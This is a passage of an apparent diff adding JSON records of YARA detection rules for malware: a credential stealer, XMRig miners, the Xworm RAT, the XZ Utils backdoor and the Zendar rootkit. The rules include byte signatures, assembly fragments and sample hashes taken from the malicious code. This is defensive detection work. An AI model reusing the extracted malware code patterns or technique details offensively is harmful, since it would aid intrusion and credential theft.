72 C6 40 07 61 C6 40 08 79 C6 40 09 4C C6 40 0A 6F C6 40 0B 63 C6 40 0C 6B C6 40 0D 00 50 50 FF B3 44 01 00 00 FF 93 3C 01 00 00 83 F8 00 0F 84 2D 02 00 00 89 83 4C 01 00 00 58 50 E8 61 02 00 00 6A 10 E8 3D 02 00 00 C6 00 53 C6 40 01 61 C6 40 02 66 C6 40 03 65 C6 40 04 41 C6 40 05 72 C6 40 06 72 C6 40 07 61 C6 40 08 79 C6 40 09 55 C6 40 0A 6E C6 40 0B 6C C6 40 0C 6F C6 40 0D 63 C6 40 0E 6B C6 40 0F 00 50 50 FF B3 44 01 00 00 FF 93 3C 01 00 00 83 F8 00 0F 84 C3 01 00 00 89 83 50 01 00 00 58 50 E8 F7 01 00 00 6A 0F E8 D3 01 00 00 C6 00 53 C6 40 01 79 C6 40 02 73 C6 40 03 41 C6 40 04 6C C6 40 05 6C C6 40 06 6F C6 40 07 63 C6 40 08 53 C6 40 09 74 C6 40 0A 72 C6 40 0B 69 C6 40 0C 6E C6 40 0D 67 C6 40 0E 00 50 50 FF B3 44 01 00 00 FF 93 3C 01 00 00 83 F8 00 0F 84 5D 01 00 00 89 83 54 01 00 00 58 50 E8 91 01 00 00 6A 16 E8 6D 01 00 00 C6 00 53 C6 40 01 61 C6 40 02 66 C6 40 03 65 C6 40 04 41 C6 40 05 72 C6 40 06 72 C6 40 07 61 C6 40 08 79 C6 40 09 43 C6 40 0A 72 C6 40 0B 65 C6 40 0C 61 C6 40 0D 74 C6 40 0E 65 C6 40 0F 56 C6 40 10 65 C6 40 11 63 C6 40 12 74 C6 40 13 6F C6 40 14 72 C6 40 15 00 50 50 FF B3 44 01 00 00 FF 93 3C 01 00 00 83 F8 00 0F 84 DB 00 00 00 89 83 58 01 00 00 58 50 E8 0F 01 00 00 6A 0C E8 EB 00 00 00 C6 00 56 C6 40 01 61 C6 40 02 72 C6 40 03 69 C6 40 04 61 C6 40 05 6E C6 40 06 74 C6 40 07 49 C6 40 08 6E C6 40 09 69 C6 40 0A 74 C6 40 0B 00 50 50 FF B3 44 01 00 00 FF 93 3C 01 00 00 83 F8 00 0F 84 81 00 00 00 89 83 5C 01 00 00 58 50 E8 B5 00 00 00 6A 12 E8 91 00 00 00 C6 00 43 C6 40 01 4C C6 40 02 52 C6 40 03 43 C6 40 04 72 C6 40 05 65 C6 40 06 61 C6 40 07 74 C6 40 08 65 C6 40 09 49 C6 40 0A 6E C6 40 0B 73 C6 40 0C 74 C6 40 0D 61 C6 40 0E 6E C6 40 0F 63 C6 40 10 65 C6 40 11 00 50 50 FF B3 40 01 00 00 FF 93 3C 01 00 00 83 F8 00 74 13 89 83 60 01 00 00 58 50 E8 47 00 00 00 B8 01 00 00 00 C3 B8 00 00 00 00 C3 57 56 51 8B 4C 24 10 8B 74 24 14 8B 7C 24 18 8A 06 88 07 46 47 49 75 F7 59 5E 5F C2 0C 00 8B 44 24 04 51 52 89 C1 FF 93 34 01 00 00 51 6A 08 50 FF 93 2C 01 00 00 5A 59 C2 04 00 55 8B 6C 24 08 FF 93 34 01 00 00 55 6A 00 50 FF 93 30 01 00 00 5D C2 04 00 6A 10 E8 C3 FF FF FF C7 00 8D 18 80 92 66 C7 40 04 8E 0E 66 C7 40 06 67 48 C6 40 08 B3 C6 40 09 0C C6 40 0A 7F C6 40 0B A8 C6 40 0C 38 C6 40 0D 84 C6 40 0E E8 C6 40 0F DE C3 6A 10 E8 89 FF FF FF C7 00 9E DB 32 D3 66 C7 40 04 B3 B9 66 C7 40 06 25 41 C6 40 08 82 C6 40 09 07 C6 40 0A A1 C6 40 0B 48 C6 40 0C 84 C6 40 0D F5 C6 40 0E 32 C6 40 0F 16 C3 6A 10 E8 4F FF FF FF C7 00 D2 D1 39 BD 66 C7 40 04 2F BA 66 C7 40 06 6A 48 C6 40 08 89 C6 40 09 B0 C6 40 0A B4 C6 40 0B B0 C6 40 0C CB C6 40 0D 46 C6 40 0E 68 C6 40 0F 91 C3 6A 10 E8 15 FF FF FF C7 00 22 67 2F CB 66 C7 40 04 3A AB 66 C7 40 06 D2 11 C6 40 08 9C C6 40 09 40 C6 40 0A 00 C6 40 0B C0 C6 40 0C 4F C6 40 0D A3 C6 40 0E 0A C6 40 0F 3E C3 6A 10 E8 DB FE FF FF C7 00 23 67 2F CB 66 C7 40 04 3A AB 66 C7 40 06 D2 11 C6 40 08 9C C6 40 09 40 C6 40 0A 00 C6 40 0B C0 C6 40 0C 4F C6 40 0D A3 C6 40 0E 0A C6 40 0F 3E C3 6A 10 E8 A1 FE FF FF C7 00 DC 96 F6 05 66 C7 40 04 29 2B 66 C7 40 06 63 36 C6 40 08 AD C6 40 09 8B C6 40 0A C4 C6 40 0B 38 C6 40 0C 9C C6 40 0D F2 C6 40 0E A7 C6 40 0F 13 C3 8B 83 C8 00 00 00 50 FF 93 54 01 00 00 C3 8B 83 CC 00 00 00 50 FF 93 54 01 00 00 C3 6A 10 E8 4B FE FF FF 50 FF 93 5C 01 00 00 C3\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "xenostealer"
+  ],
+  "rule_creation_date": "2025-05-06",
+  "rule_modified_date": "2025-07-02",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.XenoStealer"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.003"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-xmrig_2c4067cc5a65_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583787Z",
+  "creation_date": "2026-03-23T11:46:25.583789Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583794Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1496/\nhttps://github.com/xmrig/xmrig"
+  ],
+  "name": "xmrig_2c4067cc5a65.yar",
+  "content": "rule xmrig_2c4067cc5a65 {\n    meta:\n        title = \"XMRig Cryptominer (2c4067cc5a65)\"\n        id = \"548e6b49-8e4f-4e67-a8c6-2c4067cc5a65\"\n        description = \"Detects the XMRig cryptominer on Windows systems.\\nXMRig is an open-source cryptocurrency mining software often abused by adversaries for malicious cryptocurrency mining activities.\"\n        references = \"https://attack.mitre.org/techniques/T1496/\\nhttps://github.com/xmrig/xmrig\"\n        date = \"2023-06-28\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1496\"\n        classification = \"Windows.CryptoMiner.XMRig\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 673ebada19e044b1ddb88155ad99188ba403cbb413868877b3ce0af11617bcfb\n        // 3d59d9199a21d4e75346e75f4e3ca6eade6fcaed90ce56c6ce106366c2873eef\n        // 1ecc54cc2974bf1be389806a85457d5b527dc51a6c1eeffd64d2624e08bd053f\n        // 8f7bf8e5067dc531bb160012248043ddc70d76d2c49018a1810b56cbdceef477\n\n        $s1 = \"XMRIG_HOSTNAME\" ascii nocase fullword\n        $s2 = \"Usage: xmrig [OPTIONS]\" ascii nocase fullword\n        $s3 = \"username:password pair for mining server\" ascii nocase\n        $s4 = \"XMRIG_INCLUDE_RANDOM_MATH\" ascii nocase fullword\n\n        $m1 = \"{\\\"id\\\":%lld,\\\"jsonrpc\\\":\\\"2.0\\\",\\\"method\\\":\\\"keepalived\\\",\\\"params\\\":{\\\"id\\\":\\\"%s\\\"}}\" ascii fullword\n        $m2 = \"IP Address currently banned\" ascii fullword\n        $m3 = \"daemon-poll-interval\" ascii fullword\n        $m4 = \"submit-to-origin\" ascii fullword\n        $m5 = \"self-select\" ascii fullword\n        $m6 = \"nicehash.com\" ascii fullword\n        $m7 = \"stratum+tcp://\" ascii fullword\n\n        $xmrig_string = \"xmrig\" ascii nocase\n\n    condition:\n        (all of ($s*) and #xmrig_string > 25) or\n        6 of ($m*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "xmrig_2c4067cc5a65"
+  ],
+  "rule_creation_date": "2023-06-28",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.CryptoMiner.XMRig"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-xmrig_c55b1ddfc1b6_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583814Z",
+  "creation_date": "2026-03-23T11:46:25.583817Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583822Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1496/\nhttps://github.com/xmrig/xmrig"
+  ],
+  "name": "xmrig_c55b1ddfc1b6.yar",
+  "content": "rule xmrig_c55b1ddfc1b6 {\n    meta:\n        title = \"XMRig Cryptominer (c55b1ddfc1b6)\"\n        id = \"53dead3f-0388-4c49-a287-c55b1ddfc1b6\"\n        description = \"Detects the XMRig cryptominer on Windows systems.\\nXMRig is an open-source cryptocurrency mining software often abused by adversaries for malicious cryptocurrency mining activities.\"\n        references = \"https://attack.mitre.org/techniques/T1496/\\nhttps://github.com/xmrig/xmrig\"\n        date = \"2022-11-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1496\"\n        classification = \"Windows.CryptoMiner.XMRig\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 5d9d30f4a9e254cd3754c47ca59ac4d4e0f50f4d6fd6564e777819d1701be81e\n\n        $decryption_1 = {\n            48 89 C1                                     // mov     rcx, rax\n            4D 89 C1                                     // mov     r9, r8\n            83 E1 07                                     // and     ecx, 7\n            48 C1 E1 03                                  // shl     rcx, 3\n            49 D3 E9                                     // shr     r9, cl\n            44 30 0C 02                                  // xor     [rdx+rax], r9b\n            48 83 C0 01                                  // add     rax, 1\n            48 83 F8 ??                                  // cmp     rax, 15h\n            75 ??                                        // jnz     short loc_140001700\n        }\n\n        $decryption_2 = {\n            48 B8 ?? ?? ?? ?? ?? ?? ?? ??                // mov     rax, 9D2323E9E9F9F97Bh\n            48 BA ?? ?? ?? ?? ?? ?? ?? ??                // mov     rdx, 4949717179799Dh\n            48 31 01                                     // xor     [rcx], rax\n            48 31 51 08                                  // xor     [rcx+8], rdx\n            48 31 41 10                                  // xor     [rcx+10h], rax\n            C6 41 18 00                                  // mov     byte ptr [rcx+18h], 0\n            C3                                           // retn\n        }\n\n        // Detection for this sample:\n        // 673ebada19e044b1ddb88155ad99188ba403cbb413868877b3ce0af11617bcfb\n\n        $xmrig_string = \"xmrig\" ascii nocase\n        // exclusion for docker ebd184ac3b44b8d32c003b75927c1e1a4aa06c9b6ee4a70a3afa34ede70db1cc\n        $exclusion_docker_1 = \"aygualas/xmrig\" ascii\n        $exclusion_docker_2 = \"arunkarthick34/xmrig\" ascii\n\n    condition:\n        uint16(0) == 0x5A4D and (all of ($decryption_*) or (#xmrig_string > 25 and none of ($exclusion_*)))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "xmrig_c55b1ddfc1b6"
+  ],
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.CryptoMiner.XMRig"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-xmrig_memory_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.587022Z",
+  "creation_date": "2026-03-23T11:46:25.587025Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.587695Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xmrig/xmrig\nhttps://attack.mitre.org/techniques/T1496/"
+  ],
+  "name": "xmrig_memory.yar",
+  "content": "rule xmrig_memory {\n    meta:\n        title = \"XMRIG Cryptominer\"\n        id = \"3859e57e-5000-44de-8619-a16cfef872ef\"\n        description = \"Detects the XMRig cryptominer.\\nXMRig is an open-source cryptocurrency mining software frequently abused by adversaries for malicious cryptocurrency generation.\\nXMRig can either be executed as a standalone process or injected into memory, and uses significant CPU resources to mine Monero (XMR) without the victim's consent. This activity can degrade system performance and generate network traffic associated with mining operations.\\nIt is recommended to block the process and isolate the system for further investigation.\"\n        references = \"https://github.com/xmrig/xmrig\\nhttps://attack.mitre.org/techniques/T1496/\"\n        date = \"2023-02-06\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1496\"\n        classification = \"CryptoMiner.XMRig\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // c7de9799873b353f2fec6a490ed1d4062340eddda623afa0ba8798aca7ced31d\n\n        $xmrig1 = \"XMRIG_VERSION\" ascii\n        $xmrig2 = \"XMRIG_KIND\" ascii\n        $xmrig3 = \"XMRIG_HOSTNAME\" ascii\n        $xmrig4 = \"XMRIG_EXE\" ascii\n        $xmrig5 = \"XMRIG_HOME_DIR\" ascii\n        $xmrig6 = \"XMRIG_TEMP_DIR\" ascii\n        $xmrig7 = \"XMRIG_DATA_DIR\" ascii\n        $xmrig8 = \"XMRIG_INCLUDE_RANDOM_MATH\" ascii\n\n    condition:\n        5 of ($xmrig*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "xmrig_memory"
+  ],
+  "rule_creation_date": "2023-02-06",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "CryptoMiner.XMRig"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-xworm_rat_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574018Z",
+  "creation_date": "2026-03-23T11:46:25.574020Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574028Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm\nhttps://www.trellix.com/blogs/research/old-loader-new-threat-exploring-xworm/"
+  ],
+  "name": "xworm_rat.yar",
+  "content": "rule xworm_rat {\n    meta:\n        title = \"Xworm RAT\"\n        id = \"0365c790-8dd4-4317-9b13-bb369d32838a\"\n        description = \"Detects the Xworm RAT.\\nXworm RAT is a remote access trojan (RAT) written in .NET. It is designed to provide attackers with unauthorized access to infected systems. The malware exhibits various malicious behaviors, including installing additional malware, stealing sensitive information such as banking details and credentials, and launching DDoS attacks. Xworm can also execute commands remotely, making it a versatile tool for persistence and data exfiltration.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm\\nhttps://www.trellix.com/blogs/research/old-loader-new-threat-exploring-xworm/\"\n        date = \"2024-06-18\"\n        modified = \"2025-04-22\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082;attack.defense_evasion;attack.t1027;attack.collection;attack.t1056.001;attack.command_and_control;attack.t1571\"\n        classification = \"Windows.Trojan.Xworm\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ae907314d6998b7be3104c418c26aa60f89faec783c8d55c1363af8f51a933e8\n        // 98493d1be8cb7bbbeb6e1dd8875f28a0a9b7e559f64edf83ae6d7f3c5cf962ff\n        // ec3d5175cee3ae76998bf7c8c2a024e38ad7ddd98adcaf9f89112920a7ac62d7\n        // 7f8e216231c8e0e57f4d6e06edb5c20fbed0cfa36c44058ad5809935c4a06448\n        // ff6f34a8f137b987d516a5455d0285e40cb1c2eda5ca61fc3acd865a8cc6ca81\n        // 4c7504a7e4997436a85862bd6c54bb7a50af9b3960a3ca808a4ac577539372d6\n\n        $x1 = \"<Xwormmm>\" fullword ascii wide\n        $x2 = /XWorm (V|v)\\d+\\.\\d+/ fullword ascii wide\n\n        $s1 = \"PING!\" fullword ascii wide\n        $s2 = \"Urlhide\" fullword ascii wide\n        $s3 = \"PCShutdown\" fullword ascii wide\n        $s4 = \"Xchat\" fullword ascii wide\n        $s5 = \"HostsMSG\" fullword ascii wide\n\n    condition:\n        1 of ($x*) or all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "xworm_rat"
+  ],
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-04-22",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Xworm"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001",
+    "attack.t1027",
+    "attack.t1082",
+    "attack.t1571"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-xzutils_backdoor_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564632Z",
+  "creation_date": "2026-03-23T11:46:25.564634Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564640Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.openwall.com/lists/oss-security/2024/03/29/4\nhttps://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users\nhttps://attack.mitre.org/techniques/T1195/"
+  ],
+  "name": "xzutils_backdoor.yar",
+  "content": "rule xzutils_backdoor {\n    meta:\n        title = \"XZ Utils Backdoor\"\n        id = \"8fcb5ece-f66f-4e92-b2a3-416e52d1fec9\"\n        description = \"Detects CVE-2024-3094, a backdoored XZ library (xzutil).\\nA malicious code was discovered in March 2024 in the upstream tarballs of xz in version 5.6.0 and 5.6.1.\\nThis results in a modified liblzma library that can be used by any software linked against this library, intercepting and modifying the data interaction with this library.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.openwall.com/lists/oss-security/2024/03/29/4\\nhttps://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users\\nhttps://attack.mitre.org/techniques/T1195/\"\n        date = \"2024-03-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.initial_access;attack.t1195;cve.2024-3094\"\n        classification = \"Linux.Backdoor.XZUtils\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 319feb5a9cddd81955d915b5632b4a5f8f9080281fb46e2f6d69d53f693c23ae\n        // b418bfd34aa246b2e7b5cb5d263a640e5d080810f767370c4d2c24662a274963\n        // 8fa641c454c3e0f76de73b7cc3446096b9c8b9d33d406d38b8ac76090b0344fd\n        // 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4\n\n        $x1 = {\n            0F B6 02                                      // movzx   eax, byte ptr [rdx]\n            3C 67                                         // cmp     al, 67h ; 'g'\n            77 3B                                         // ja      short loc_9D\n            3C 2D                                         // cmp     al, 2Dh ; '-'\n            77 12                                         // ja      short loc_78\n            3C 0F                                         // cmp     al, 0Fh\n            0F 84 CA 00 00 00                             // jz      loc_138\n            3C 26                                         // cmp     al, 26h ; '&'\n            0F 85 0B 01 00 00                             // jnz     loc_181\n            EB 5F                                         // jmp     short loc_D7\n        }\n\n        $x2 = {\n            FF D0                                         // call    rax\n            89 C3                                         // mov     ebx, eax\n            3D 00 40 00 00                                // cmp     eax, 4000h\n            77 CA                                         // ja      short loc_737D\n            83 C3 07                                      // add     ebx, 7\n            C1 EB 03                                      // shr     ebx, 3\n            74 C2                                         // jz      short loc_737D\n            89 DD                                         // mov     ebp, ebx\n            49 83 EF 06                                   // sub     r15, 6\n            49 39 EF                                      // cmp     r15, rbp\n            72 B7                                         // jb      short loc_737D\n            4D 8D 7D 05                                   // lea     r15, [r13+5]\n            41 C6 45 04 00                                // mov     byte ptr [r13+4], 0\n            48 8B 7C 24 08                                // mov     rdi, [rsp+48h+var_40]\n            4C 89 FE                                      // mov     rsi, r15\n        }\n\n        // Value from detection script provided in https://seclists.org/oss-sec/2024/q1/268\n        // Header of 'cpuid' wrapper (which setup the backdoor hook)\n        $x3 = {\n            F0 F3 0F 1E FA                                // endbr64\n            55                                            // push    rbp\n            48 89 F5                                      // mov     rbp, rsi\n            4C 89 CE                                      // mov     rsi, r9\n            53                                            // push    rbx\n            89 FB                                         // mov     ebx, edi\n            81 E7 00 00 00 80                             // and     edi, 80000000h\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 89 54 24 18                                // mov     [rsp+38h+var_20], rdx\n            48 89 4C 24 10                                // mov     [rsp+38h+var_28], rcx\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "xzutils_backdoor"
+  ],
+  "rule_creation_date": "2024-03-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Backdoor.XZUtils"
+  ],
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1195"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-zendar_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586384Z",
+  "creation_date": "2026-03-23T11:46:25.586386Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586392Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ring-1/zendar/"
+  ],
+  "name": "zendar.yar",
+  "content": "rule linux_library_rootkit_zendar {\n    meta:\n        title = \"Zendar Rootkit\"\n        id = \"ef1cf676-d195-4be9-a973-37100e3fc676\"\n        description = \"Detects the Zendar rootkit.\\nZendar is a userland LD_PRELOAD-based rootkit that allows adversaries to hijack environment variables used by the dynamic linker to load shared libraries.\\nThis enables attackers to intercept and control function calls, establishing persistence on the system.\"\n        references = \"https://github.com/ring-1/zendar/\"\n        date = \"2023-12-12\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.004;attack.persistence;attack.t1574.006;attack.defense_evasion;attack.t1014;attack.t1070;attack.t1564;attack.credential_access;attack.t1556;attack.command_and_control\"\n        classification = \"Linux.Rootkit.Zendar\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // abbacf92d1a44db463daf202819ae494f8306f3eaad6f880d811ba118bec3db0\n        // 84bc6ba08aea96e3f7bb78a361d8915b87afadf0cb1728d6b0abdf93cd3a2c16\n\n        $z1 = \"zendar.c\" ascii fullword\n        $z2 = \"zendarU\" ascii fullword\n        $z3 = \"hiddenFile\" ascii fullword\n        $z4 = \"/etc/.passwd\" ascii fullword\n        $z5 = \"/etc/.shadow\" ascii fullword\n        